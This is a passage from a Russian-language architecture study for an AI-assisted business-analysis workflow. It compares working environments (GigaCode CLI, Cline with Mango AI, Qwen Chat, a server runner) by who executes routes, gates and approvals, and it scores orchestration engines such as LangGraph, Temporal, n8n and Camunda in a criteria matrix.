\u043d\u0430\u0437\u0432\u0430\u043d\u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439\\n\u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb ([\u0413-27](#\u0433-27)). \u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n\u043c\u0435\u0441\u0442\u0435, \u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u2014 \u0435\u0441\u043b\u0438 \u043d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.\\n\\n## \u0421\u043b\u043e\u0439 2. \u0421\u0440\u0435\u0434\u044b: \u043a\u0442\u043e \u043a\u0430\u043a\u0443\u044e \u0440\u043e\u043b\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n\\n\u0421\u043b\u043e\u0432\u043e \u00ab\u0441\u0440\u0435\u0434\u0430\u00bb \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0437\u043d\u044b\u0445 \u0440\u043e\u043b\u0435\u0439. \u0412 \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0438 \u0438\u0445 \u043b\u0435\u0433\u043a\u043e\\n\u0441\u043c\u0435\u0448\u0430\u0442\u044c; \u043d\u0438\u0436\u0435 \u043a\u0430\u0436\u0434\u0430\u044f \u0440\u043e\u043b\u044c \u043d\u0430\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e.\\n\\n| \u0420\u043e\u043b\u044c | \u0421\u0440\u0435\u0434\u0430 1: GigaCode CLI | \u0421\u0440\u0435\u0434\u0430 2: Cline + Mango AI | \u0421\u0440\u0435\u0434\u0430 3: Qwen Chat | \u0421\u0440\u0435\u0434\u0430 4: \u0441\u0435\u0440\u0432\u0435\u0440 |\\n|------|-----------------------|---------------------------|--------------------|-----------------|\\n| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\n| \u0410\u0432\u0442\u043e\u0440 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 | \u0410\u0433\u0435\u043d\u0442 GigaCode | \u0410\u0433\u0435\u043d\u0442 Cline | \u041c\u043e\u0434\u0435\u043b\u044c \u0432 \u0447\u0430\u0442\u0435 | \u0428\u0430\u0433 runner, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0434\u0435\u043b\u044c |\\n| \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 | \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b | \u041f\u0430\u043d\u0435\u043b\u044c Cline \u0432 VS Code | \u0412\u0435\u0431-\u0447\u0430\u0442 | \u0412\u0435\u0431-\u0447\u0430\u0442, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 |\\n| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | **\u0411\u0410 \u0440\u0443\u043a\u0430\u043c\u0438** \u0447\u0435\u0440\u0435\u0437 `tools/run-task` | **\u041c\u043e\u0434\u0435\u043b\u044c** \u043f\u043e \u0442\u0435\u043a\u0441\u0442\u0443 `AGENTS.md` | \u041c\u043e\u0434\u0435\u043b\u044c | Runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430 |\\n| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0438 \u0433\u0435\u0439\u0442\u043e\u0432 | `validate-package.py` \u0446\u0435\u043b\u0438\u043a\u043e\u043c | `run_task.py` \u0434\u043b\u044f Working \u0438 Release | \u041d\u0435\u0442 | \u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source + CI \u0434\u043b\u044f Release |\\n| \u041a\u0430\u043d\u0430\u043b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f | \u0424\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 | \u041f\u043e\u043b\u0435 \u0432 JSON, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435\u0442 | \u041a\u043d\u043e\u043f\u043a\u0430 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0432 \u0436\u0443\u0440\u043d\u0430\u043b |\\n\\n\u0421\u0442\u0440\u043e\u043a\u0430 \u00ab\u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u0438 \u0435\u0441\u0442\u044c \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432: \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439\\n\u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444. \u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n\u043c\u0435\u0441\u0442\u0435 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0435\u0451 \u0441\u0430\u043c\u0438: workflow, skill \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u2014 \u044d\u0442\u043e \u0442\u0435\u043a\u0441\u0442,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 hooks \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432, \u043d\u043e \u043d\u0435\\n\u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 ([\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0436\u0438\u0442\u044c \u0432 runner, \u0430 \u043a\u043b\u0438\u0435\u043d\u0442 \u2014 \u0431\u044b\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043f\u0438\u0448\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a.\\n\\n## \u0421\u043b\u043e\u0439 3. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n\\n### \u041f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u0435\u0436\u043d\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439\\n\\n\u0414\u0432\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u0440\u044f\u043c\u043e.\\n\\n- **\u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4`: \u00abbuild \u2014 YAML-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0434\u0432\u0438\u0436\u043e\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d\u00bb**\\n  ([`research/ba-requirements/orchestration/30-decision-framework.md` L193](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193)).\\n  YAML \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d. \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c YAML \u0432 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043d\u0435 \u0432\u043e\u0448\u0451\u043b: \u00ab\u043d\u0435 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c\\n  \u0434\u0432\u0438\u0436\u043e\u043a\u00bb \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b\u043e\u0441\u044c \u043a\u0430\u043a \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\u00bb. \u0414\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u043d\u0430\\n  \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u0432\u0435\u0440\u0435\u043d \u0438 \u0441\u0435\u0439\u0447\u0430\u0441. \u0414\u043b\u044f \u0441\u0440\u0435\u0434\u044b 4 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u044b\u043b\u043a\u0430\\n  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 \u2014 \u00ab\u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u043f\u0440\u0435\u0434\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb\\n  ([L199-L202](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L199-L202)):\\n  \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438, \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0431\u0449\u0438\u0439\\n  \u0436\u0443\u0440\u043d\u0430\u043b ([\u0413-36](#\u0433-36)).\\n- **\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C RFC GigaCode: \u00ab\u0412\u0432\u0435\u0441\u0442\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 workflow engine\u00bb \u2014\\n  \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb**\\n  ([RFC L371-L375](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375)).\\n  \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e, \u0430 \u043d\u0435 \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e, \u0438 \u0431\u0435\u0437 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 ([\u0413-54](#\u0433-54)).\\n  \u041f\u0440\u043e\u0431\u044b `P10`\u2026`P12` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u0446\u0435\u043b\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043d\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0434\u0435\u0448\u0451\u0432\u044b\u0435 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 runner, \u0431\u0435\u0437 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e\\n  \u0434\u0432\u0438\u0436\u043a\u0430. \u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0430\u043a: \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0434\u0432\u0438\u0436\u043e\u043a\\n  \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043d\u0443\u0436\u043d\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f,\\n  \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u044c\u0448\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0438 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0436\u0443\u0440\u043d\u0430\u043b, \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u0438\\n  \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0432 \u0441\u0440\u0435\u0434\u0443 4.\\n- **\u041f\u043b\u0430\u043d n8n \u043c\u0430\u044f 2026.** \u042d\u0442\u0430\u043f 4 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b RAG \u2014\\n  \u00abn8n-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f\u00bb \u0441 human gates\\n  ([`2026-05-26-rag-mapping-roadmap.md` L275-L283](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md#L275-L283))\\n  \u2014 \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u044d\u0442\u0430\u043f\u043e\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043a \u0443\u0437\u043b\u0430\u043c n8n\\n  ([`2026-05-26-requirements-lifecycle-uncertainty.md` L425-L437](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md#L425-L437)).\\n  \u041f\u043e\u0437\u0436\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` n8n \u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442, \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  \u043d\u0435\u0442 ([\u0413-50](#\u0433-50)). \u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u0430\u0451\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443.\\n\\n### \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n\\n\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: \u25cf \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e, \u25d0 \u2014 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c, \u25cb \u2014 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e.\\n\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0438:\\n\u041a1 \u2014 \u0433\u0440\u0430\u0444 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u0437 Source \u0431\u0435\u0437 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438;\\n\u041a2 \u2014 \u043f\u0430\u0443\u0437\u0430 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0434\u043d\u0438;\\n\u041a3 \u2014 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435;\\n\u041a4 \u2014 \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0411\u0410, \u043d\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u0430;\\n\u041a5 \u2014 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430;\\n\u041a6 \u2014 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f;\\n\u041a7 \u2014 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0441 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u043c \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430\u043c\u0438;\\n\u041a8 \u2014 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438.\\n\\n| \u2116 | \u0412\u0430\u0440\u0438\u0430\u043d\u0442 | \u041a1 | \u041a2 | \u041a3 | \u041a4 | \u041a5 | \u041a6 | \u041a7 | \u041a8 | \u0418\u0442\u043e\u0433 |\\n|---|---------|----|----|----|----|----|----|----|----|------|\\n| \u0412-0 | \u041a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441: runner-\u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a, \u0411\u0410 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b | \u25cb | \u25cb | \u25cf | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u041e\u0442\u043f\u0440\u0430\u0432\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 |\\n| \u0412-1 | Runner-\u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25cf | \u25cf | \u25cf | \u25cf | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1** |\\n| \u0412-2 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP \u0438\u043b\u0438 skill \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0431\u0435\u0437 runner-\u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e | \u25cb | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c |\\n| \u0412-3 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner: FastAPI + \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 + Postgres | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25cf | \u25d0 | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2** |\\n| \u0412-4 | \u0412-3 \u0441 \u0434\u0432\u0438\u0436\u043a\u043e\u043c LangGraph (\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430, MIT) | \u25d0 | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25d0 | \u0420\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n| \u0412-5 | Temporal | \u25d0 | \u25cf | \u25cf | \u25cb | \u25cb | \u25cf | \u25d0 | \u25d0 | \u0418\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 |\\n| \u0412-6 | n8n \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25cb | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e |\\n| \u0412-7 | n8n \u043a\u0430\u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0412-3 | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n| \u0412-8 | Dify \u0438\u043b\u0438 Flowise | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n| \u0412-9 | Windmill, Kestra \u0438\u043b\u0438 Prefect | \u25d0 | \u25d0 | \u25cf | \u25cb | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445 |\\n| \u0412-10 | BPMN: Camunda 8 \u0438\u043b\u0438 Operaton | \u25cb | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n\\n\u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0446\u0435\u043d\u043e\u043a \u2014 \u0432 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u044b\\n[\u0417](#\u0437-\u0441\u043b\u043e\u0439-3-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b-\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438-\u0438-\u0437\u0430\u043f\u0443\u0441\u043a\u0430) \u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435\\n[\u00ab\u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\u00bb](#\u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435-\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b-\u0438-\u0438\u0445-\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f).\\n\\n## \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043d\u0430 `main`. \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: `G` \u2014 \u043f\u0430\u043a\u0435\u0442\\n[`dist/execution-package-gigacode-cli/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli),\\n`MM` \u2014 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n[`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model),\\n`P10`\u2026`P12` \u2014 \u043f\u0440\u043e\u0431\u044b \u0438\u0437\\n[\u0436\u0443\u0440\u043d\u0430\u043b\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log).\\n\\n### \u0415. \u0421\u043b\u043e\u0439 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0435\u0451 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n\\n| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n|---|----------|----------------|--------|-------------|--------------|\\n| \u0413-26 | \u0412 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043e, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 | `MM` \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u0447\u0442\u0435\u043d\u0438\u0435 `routes/` \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u043b\u0438\u0441\u0442\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443\u00bb ([L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49), [L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L154)), \u043d\u043e \u0441\u0440\u0435\u0434\u0438 [\u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 